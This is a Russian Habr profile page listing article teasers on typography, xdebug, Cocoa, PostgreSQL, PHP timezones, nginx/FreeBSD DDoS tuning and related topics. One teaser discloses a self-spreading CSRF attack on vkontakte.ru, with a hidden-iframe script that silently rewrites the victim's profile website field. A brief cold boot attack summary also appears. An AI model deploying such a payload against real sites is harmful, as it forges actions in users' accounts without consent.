Search
Write a publication
Pull to refresh
40
0

User

Send message

Оформление цитат на сайтах

Reading time8 min
Views96K
Обычно при вёрстке текстов для веба на оформление цитат не обращают достаточного внимания. Стараясь исправить это досадное недоразумение, мы коснёмся двух вопросов: типографического оформления цитат (в той части, где чаще всего допускаются ошибки при вёрстке) и реализации этого оформления в HTML-коде.

Мы также не будем касаться вопросов проверки смысловой точности цитирования, правильного использования купюр, сокращений и дополнений — всех интересующихся ждёт «Справочник издателя и автора» А. Э. Мильчина и Л. К. Чельцовой.

Надеемся, что эту запись будет удобно использовать как справочник по часто встречающимся вопросам оформления цитат.

Читать дальше →

Доклад по Python

Reading time1 min
Views14K
В докладе описаны основные возможности языка python.
Кратко, понятно, с примерами. Приведены некоторые сравнения с другими языками.
Этот доклад будет полезен начинающим программировать на python, а также тем, кто выбирает язык программирования для своей задачи.
Первая, вторая и третья части доклада.

Profiling PHP Applications With xdebug

Reading time8 min
Views42K
Добро пожаловать в третью статью о xdebug. Уже сейчас вы должны были попробовать xdebug, если нет, сделайте это сегодня ;-).
В первой статье рассказывалось о том, как установить и настроить xdebug, описывались некоторые простейшие возможности, такие как улучшение вывода функции var_dump() или вывод трассировки стека вызовов при получении сообщения об ошибке. Во второй части мы рассмотрели такую возможность xdebug как трассировку. Трассировка содержит все вызовы функций и методов в программе, время запуска, опционально размер памяти, передаваемые и возвращаемые параметры. Лог трассировки может помочь вам понять пути выполнения сложной программы. Вместо того чтобы вставлять отладочный код внутрь программы, вы включаете или выключаете трассировку в тем места где нужно, а потом используете утилиты подобные grep или собственно написанные приложения на PHP для анализа лог файла.
Читать дальше →

CSRF на vkontakte.ru

Reading time1 min
Views7.9K
Обнаружил забавную атаку на сайт vkontakte.ru.
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
<script>
function doit() {
  var html;
  html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>';
  window.frames["frm"].document.body.innerHTML = html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.

Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.

Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.

Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)

Гибкая система управления проектами Acunote

Reading time5 min
Views6.9K
Если вы только задумываетесь о том, что пора внедрять какую-то методологию и использовать некий специальный софт для планирования и отслеживания хода работы, возможно вам будет полезен наш вполне успешный опыт применения гибкой методологии разработки Scrum. Это очень простая и эффективная методика, а в ее применении неоценимую помощь оказывает система Acunote, о которой и пойдет речь в статье.

Читать дальше →

Tracing PHP Applications with xdebug

Reading time8 min
Views22K
Добро пожаловать во вторую серию нашего повествования про xdebug. Установка xdebug и его базовые возможности были рассмотрены в первой серии. В данной статье мы рассмотрим трассировку программы.
Предыдущая серия цикла Introducing xdebug
Читать дальше →

Эластичные шаблоны

Reading time4 min
Views19K

Большинство дизайнов ориентировано на использование фиксированных значений при верстке: ширина и высота блоков, размер шрифта. Это позволяет сверстанному шаблону «не разваливаться» при изменении масштабов просмотра и сохранять свойство кроссбраузерности. Однако в этом есть один большой минус – при большом разрешении экрана маленькие фиксированные блоки теряются на большой площади и остаются незамеченными. Тут даже не спасет «резиновая» верстка, т.к. сайт будет выглядеть еще более нечитабельным, например на 19'' мониторах при разрешении большем 1280 по ширине. Для меня это актуально, т.к. на ноутбуке 17'' с разрешением 1400х800 просматривать «резиновый» сайт очень неудобно. И желание оставаться на таком сайте отпадает быстро. Существует ли способ, позволяющий управлять масштабами не только текста, но и всего сайта?
Читать дальше →

Создание программ для Mac OS X. Часть 1: вступление и Objective-C

Reading time10 min
Views74K

Вступление


Я думаю все слышали про Mac OS X как операционную систему для дизайнеров и домохозяек. Но хочется рассказать про средства разработки для OS X, а то хорошие программы пишут, а на чем — никто не знает.

Сразу скажу, что не буду рассказывать про кроссплатформенные фреймворки и тулкиты(такие как Qt) или про создание консольных приложений, я расскажу про то, что в плане создания приложений отличает Mac OS X от других операционных систем, а именно — фреймворк Cocoa. Оговорюсь сразу, что буду стараться избегать сравнений с другими фреймворками, я хочу просто рассказать про Cocoa.
Читать дальше →

Борьба с DDOS и DOS на уровне nginx

Reading time1 min
Views8.4K
FreeBSD, сетевая Intel fxp, порт 100Мбит, polling, http accept-filter
в sysctl:

sysctl kern.maxfiles=90000
sysctl kern.maxfilesperproc=80000
sysctl net.inet.tcp.blackhole=2
sysctl net.inet.udp.blackhole=1
sysctl kern.polling.burst_max=1000
sysctl kern.polling.each_burst=50
sysctl kern.ipc.somaxconn=32768
sysctl net.inet.tcp.msl=3000
sysctl net.inet.tcp.maxtcptw=40960
sysctl net.inet.tcp.nolocaltimewait=1
sysctl net.inet.ip.portrange.first=1024
sysctl net.inet.ip.portrange.last=65535
sysctl net.inet.ip.portrange.randomized=0

Читать дальше →

Шифрованные диски взломали через холодную перезагрузку

Reading time1 min
Views4.7K
Современная память (DRAM), вопреки общепринятому мнению, хранит информацию после отключения питания от нескольких секунд до нескольких минут (а если её охладить жидким азотом — до нескольких часов). Что даёт возможность, например, отключить питание загруженного компа, переставить память в другой комп, и загрузить на нем специальную утилиту, которая просканирует память и найдёт в ней ключи шифрования диска. Или не переставлять никуда память, а просто подключить USB-винт к взламываемому компу, и после передёргивания питания загрузиться с него. Взлом подтверждён для BitLocker, FileVault, dm-crypt, и TrueCrypt.

New Research Result: Cold Boot Attacks on Disk Encryption
Lest We Remember: Cold Boot Attacks on Encryption Keys (с видео)

Чёрточки: только ли тире, минус и дефис?

Reading time4 min
Views182K
Однажды вечером я почувствовал, что пришло время расширить 97‐ й параграф «Ководства» Артемия Лебедева.

На клавиатуре одна чёрточка, она обычно правее нуля и повыше букв «З» и «Х». Неосведомлённые люди называют её попеременно то дефисом, то минусом, то тире. Лебедев объясняет нам, что это четыре (учитывая две разновидности тире) различных символа. На самом деле их как минимум девять, и об этом я и расскажу вам сейчас.

Читать дальше →

Система управления проектами TRAC

Reading time4 min
Views41K
В этой статье я постараюсь дать обзор системы управления проектами Trac, рассказать кому она будет полезна и способы ее применения в разработке проектов.

О системе



Разработчик — Edgewall
Лицензия — BSD
На чем написана — Python
Среда обитания — Там где обитает Python, а значит почти везде
Читать дальше →

Анализируем загрузку веб-страницы

Reading time1 min
Views2.1K
Ниже перевод статьи «Optimizing Page Load Time», в которой автор математически рассчитывает оптимальный размер файлов для эффективной передачи при веб-запросах, рассматривает некоторые прикладные вопросы оптимизации загрузки страницы с учетом особенностей браузеров, а также дает несколько развернутых и ценных советов. Мои комментарии далее курсивом.

Существует распространенное мнение, что быстро загружающая страница положительно влияет на впечатление пользователя (improve the user experience). В последние годы многие сайты начали использовать для этой цели технологию AJAX, чтобы уменьшить время ожидания (при загрузке данных). Вместо того, что запрашивать с сервера новую страницу полностью при каждом клике, браузер часто можно либо поменять вид самой страницы (отобразив или скрыв какие-либо блоки), либо подгрузить небольшую порцию HTML-, XML- или JavaScript-кода и внести изменения на существующую страницу. В любом случае, это значительно уменьшает время, проходящее между кликом пользователя и окончанием визуализации браузером нового содержания.

Что влияет на загрузку страницы?



Однако, для большинства сайтов, загрузка страницы затрагивает десятки внешних объектов, основное время загрузки тратится на различные HTTP-запросы картинок, JavaScript-файлов и файлов стилей. AJAX, возможно, поможет в данной ситуации, но ускорение или удаление этих HTTP-запросов может принести гораздо больше пользы, хотя на данный момент нет единого мнения (a common body of knowledge), как именно это следует делать.

читать дальше на webo.in →

Реабилитация XML/XSLT технологий

Reading time7 min
Views11K
Здравствуй, Хабр. Некоторое время назад мы внедрили у себя в CMS наряду с уже имевшимся к тому моменту собственным шаблонизатором, еще и XSLT. Поскольку есть в XSLT большие и реальные преимущества и для разработчиков, и для хозяев студий, и даже для владельцев сайтов. Но реакция наших партнеров разделилась на противоположные мнения: одни давно ожидали этого и были рады появлению такой возможности, другие поставили под сомнение востребованность XSLT, приводя в качестве аргумента низкую производительность, которую якобы влечет за собой использование XSLT.
Понятно, что у всего нового всегда есть сторонники и противники, и рассудит их время. Поэтому не было особого смысла развязывать религиозную войну XSLT vs tpl или Smarty на тот момент. Но мы обнаружили, что оказывается, один из лидеров российского рынка CMS с завидным упорством все пишет и пишет о якобы несостоятельности XSLT как массовой технологии и готов рассматривать ее только в контексте специфичных задач. А это негативно влияет на умы некоторых непосвященных разработчиков об XSLT.

Читать дальше →

Слоны уже тут. Быстрые, надёжные, мощные. PostgreSQL 8.3!

Reading time2 min
Views2.1K
Более 200 разработчиков, более 300 патчей, 15 месяцев напряжённой работы разработчиков и тестировщиков… И вот — новейшая версия лучшей СУБД в мире готова к использованию в промышленных условиях!

4 февраля 2008-го года Глобальная группа разработчиков PostgreSQL (PostgreSQL Global Development Group) анонсировала долгожданный релиз версии 8.3 самой развитой открытой СУБД, факт выхода которой ещё более укрепляет позиции PostgreSQL как и самой производительной СУБД из систем с открытым исходным кодом. Среди новшеств, касающихся производительности, стоит выделить:
Читать дальше →

Работа с временными зонами в PHP

Reading time8 min
Views87K
Как только проект перестает быть завязан на ограниченное количество потребителей и растет география его применения, встает вопрос о применении временных зон. Когда я работал в одной известной интернет компании внедрение в работу временных зон (как в интерфейс отображения статистики, так и в программу анализа) было достаточно серьезным шагом.

Далее перевод :-)
Читать дальше →

И снова о speed performance вашего сайта

Reading time3 min
Views2K
Уф… наконец-то я решился написать свой первый пост.

В этом посте я хочу рассказать вам о некоторых простых, и в тоже время эффективных способах ускорения загрузки вашего сайта.
Все методы основаны на LAMP + nginx + drupal, но я уверен что всё это верно и для остального тоже.
Разговор пойдёт о первой загрузке сайта, то есть когда у клиента нет ещё кеша в браузере.
Читать дальше →

Жизнь после Google, с миллионами в кармане. Часть первая

Reading time9 min
Views2.5K
moneyЧто бы вы делали, окажись на ваших руках 10 или 100 миллионов долларов? Ушли бы на пенсию, ежедневно ходили на работу в обогатившую вас компанию, или преследовали свои давние мечты?

Это вопрос, который задают себе сотни давних работников Google. По некоторым оценкам, более 900 сотрудников в один миг превратились в миллионеров, когда Google в 2004 году стала публичной компанией, и их счета раздувались одновременно с увеличением стоимости акций. В прошлую пятницу цена акций при закрытии торговой сессии составила 600,25 долларов — более чем 600-процентный рост цены размещения в 85 долларов.

Согласно последним отчётам компании, в сентябре 2007 года на руках у сотрудников находилось 11 662 917 опционов на покупку акций. Их общая стоимость на настоящий момент — 4,48 млд. долларов, которые потенциально могут получить их владельцы при продаже. Согласно аналитическим отчётам Equilar, стоимость пакета акций соучредителя Google Лари Пэйджа составляет 18,87 млрд., Сергея Брина — 18,51 млрд.
Читать дальше →

DDoS

Reading time2 min
Views1.7K
Привет, хабралюди.
Позвольте принести извинения за доставленные неудобства. Вчерашние проблемы с доступностью Хабра были вызваны DDoS-атакой.
Читать дальше →

Information

Rating
Does not participate
Location
Киев, Киевская обл., Украина
Date of birth
Registered
Activity